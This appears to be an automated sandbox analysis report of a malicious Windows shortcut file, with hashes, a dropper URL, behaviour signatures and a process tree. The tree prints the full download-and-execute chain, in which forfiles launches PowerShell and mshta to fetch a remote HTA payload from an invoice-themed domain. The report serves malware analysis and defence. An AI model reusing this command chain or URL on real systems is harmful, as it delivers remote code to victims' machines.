Analysis

  • max time kernel
    142s
  • max time network
    104s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17-05-2024 12:12

General

  • Target

    84297536d9873d971dcc783ae2f95af8cbf32c65fccf3c8687af2ba5294b7f30.lnk

  • Size

    148KB

  • MD5

    d39a73de9f109e3dba408e9481998206

  • SHA1

    30651dada81443db0fde9c3a336955d27b6d9024

  • SHA256

    84297536d9873d971dcc783ae2f95af8cbf32c65fccf3c8687af2ba5294b7f30

  • SHA512

    09c8954ecabbeb36aeb8804858168eb1448f5894c1641a1ba5311f2b33aaeb24814734d0b1f7e777f22910c53bb9df500801907a603d8d71fba139705f444d61

  • SSDEEP

    24:8WEe6Dz358m+pyAWkr+/4x+sPxZvBG0qdd79ds/Z6U/ab9Q9qFBm:8WENDzKvZbnvBG7dJ9A6U/a5QW

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

https://invoiceinformations.com/InvoiceInfo/Evernote-Invoice

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\84297536d9873d971dcc783ae2f95af8cbf32c65fccf3c8687af2ba5294b7f30.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:100
    • C:\Windows\System32\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p C:\Windows /m write.exe /c "powershell . mshta https://invoiceinformations.com/InvoiceInfo/Evernote-Invoice"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1004
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        . mshta https://invoiceinformations.com/InvoiceInfo/Evernote-Invoice
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2096
        • C:\Windows\system32\mshta.exe
          "C:\Windows\system32\mshta.exe" https://invoiceinformations.com/InvoiceInfo/Evernote-Invoice
          4⤵
            PID:4864

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fajre0rl.txm.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/2096-0-0x00007FFFC7ED3000-0x00007FFFC7ED5000-memory.dmp

      Filesize

      8KB

    • memory/2096-3-0x0000022951A20000-0x0000022951A42000-memory.dmp

      Filesize

      136KB

    • memory/2096-11-0x00007FFFC7ED0000-0x00007FFFC8991000-memory.dmp

      Filesize

      10.8MB

    • memory/2096-12-0x00007FFFC7ED0000-0x00007FFFC8991000-memory.dmp

      Filesize

      10.8MB

    • memory/2096-16-0x00007FFFC7ED0000-0x00007FFFC8991000-memory.dmp

      Filesize

      10.8MB